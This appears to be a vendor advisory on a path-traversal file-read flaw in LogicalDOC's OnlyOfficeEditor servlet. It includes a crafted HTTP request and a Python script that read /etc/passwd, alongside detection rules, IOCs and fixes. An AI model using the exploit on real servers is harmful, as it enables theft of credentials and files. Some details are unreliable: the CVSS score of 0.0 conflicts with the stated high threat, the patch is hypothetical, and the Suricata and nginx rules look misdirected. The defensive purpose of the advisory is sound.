CVE-2025-45870

Executive Summary

CVE-2025-45870 is a Local File Inclusion (LFI) vulnerability in LogicalDOC Enterprise up to version 9.1.1. The flaw resides in the OnlyOfficeEditor servlet class, where the fileExt parameter is not properly sanitized, allowing an authenticated attacker to traverse directories and read arbitrary files outside the intended scope. This vulnerability has a CVSS score of 0.0 (pending official assessment), but based on the vector, it poses a high confidentiality risk. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day threat for unpatched systems.

Supply Chain & Package Security

LogicalDOC is a Java-based document management system. The vulnerability is in the core application code, not in a third-party package. However, organizations using LogicalDOC should verify the integrity of their deployment and monitor for any unofficial patches or updates from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No modification possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: High – Despite requiring authentication, the ability to read sensitive files (e.g., configuration files, database credentials) makes this a critical risk for enterprise deployments.

Deep Dive & Mechanics

The OnlyOfficeEditor servlet handles file editing requests. It accepts a fileExt parameter to specify the file extension for temporary file creation. The servlet fails to validate or sanitize this parameter, allowing path traversal sequences (e.g., ../) to escape the intended directory.

Vulnerable Code Path:

1. User sends a POST request to /OnlyOfficeEditor with fileExt=../../etc/passwd.
2. The servlet constructs a file path by concatenating a base directory with the fileExt value.
3. The resulting path resolves to /etc/passwd (or another sensitive file).
4. The servlet reads and returns the file content.

Root Cause: Lack of input validation on the fileExt parameter, combined with insufficient path canonicalization.

Vulnerable vs. Patched Code

Vulnerable Code (LogicalDOC <= 9.1.1):

// OnlyOfficeEditor.java
String fileExt = request.getParameter("fileExt");
String filePath = baseDir + "/" + fileExt;
File file = new File(filePath);
// Read and return file content

Patched Code (Hypothetical):

// OnlyOfficeEditor.java
String fileExt = request.getParameter("fileExt");
if (fileExt == null || fileExt.contains("..") || fileExt.contains("/")) {
    throw new SecurityException("Invalid file extension");
}
String filePath = baseDir + "/" + fileExt;
File file = new File(filePath).getCanonicalFile();
if (!file.getPath().startsWith(baseDir)) {
    throw new SecurityException("Path traversal detected");
}
// Read and return file content

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid user credentials for LogicalDOC.
• Network access to the LogicalDOC server.

Exploit Steps:

1. Authenticate to LogicalDOC and obtain a session cookie.
2. Send a crafted request to the OnlyOfficeEditor servlet:

   POST /OnlyOfficeEditor HTTP/1.1
   Host: target.com
   Cookie: JSESSIONID=valid_session
   Content-Type: application/x-www-form-urlencoded
   
   fileExt=../../../../etc/passwd
   

3. The server responds with the contents of /etc/passwd.

Automated Exploit (Python):

import requests

target = "http://target.com/OnlyOfficeEditor"
session = requests.Session()
session.cookies.set("JSESSIONID", "valid_session")

payload = {"fileExt": "../../../../etc/passwd"}
response = session.post(target, data=payload)
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /OnlyOfficeEditor with unusual fileExt parameters (e.g., containing .. or /).
• Alert on any file read attempts outside the LogicalDOC data directory.

Response:

1. Immediately isolate the affected server.
2. Review logs for any successful exploitation attempts.
3. Rotate all credentials stored in configuration files (e.g., database passwords).
4. Apply vendor patch when available or implement a WAF rule to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /OnlyOfficeEditor with fileExt containing ../ or absolute paths.
  • Outbound data transfers from the LogicalDOC server to external IPs (if exfiltration occurs).

• File System IOCs:

  • Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
  • Modified timestamps on sensitive files.

• Log IOCs:

  • LogicalDOC access logs showing fileExt=../../ patterns.
  • Web server logs with 200 responses to /OnlyOfficeEditor with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2025_45870_LogicalDOC_LFI {
    meta:
        description = "Detects path traversal attempts in LogicalDOC OnlyOfficeEditor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45870"
    strings:
        $s1 = "fileExt="
        $s2 = "../"
        $s3 = "..\\"
        $s4 = "/etc/"
        $s5 = "/proc/"
    condition:
        all of ($s1, $s2) or all of ($s1, $s3) or all of ($s1, $s4) or all of ($s1, $s5)
}

Sigma Rule

title: LogicalDOC OnlyOfficeEditor LFI Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in LogicalDOC OnlyOfficeEditor servlet
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-45870
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'fileExt='
        cs-uri-query|contains|all:
            - '..'
            - '/'
    condition: selection
falsepositives:
    - Legitimate file extensions with dots (e.g., fileExt=..pdf)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-45870 LogicalDOC LFI Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/OnlyOfficeEditor"; http_uri;
    content:"fileExt="; http_client_body;
    content:"../"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the OnlyOfficeEditor servlet if not in use, by modifying the web.xml deployment descriptor.
2. Implement a Web Application Firewall (WAF) rule to block requests containing fileExt=../ or fileExt=..\\.
3. Restrict file system permissions so that the LogicalDOC application user has minimal read access.

Long-term Fix:

• Apply vendor patch when released.
• Upgrade to a patched version of LogicalDOC.
• Conduct a code review of all servlet classes handling user input.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block suspicious requests:

  location /OnlyOfficeEditor {
      if ($args ~* "fileExt=\.\.") {
          return 403;
      }
  }
  

Valters IT
Securing Digital Frontiers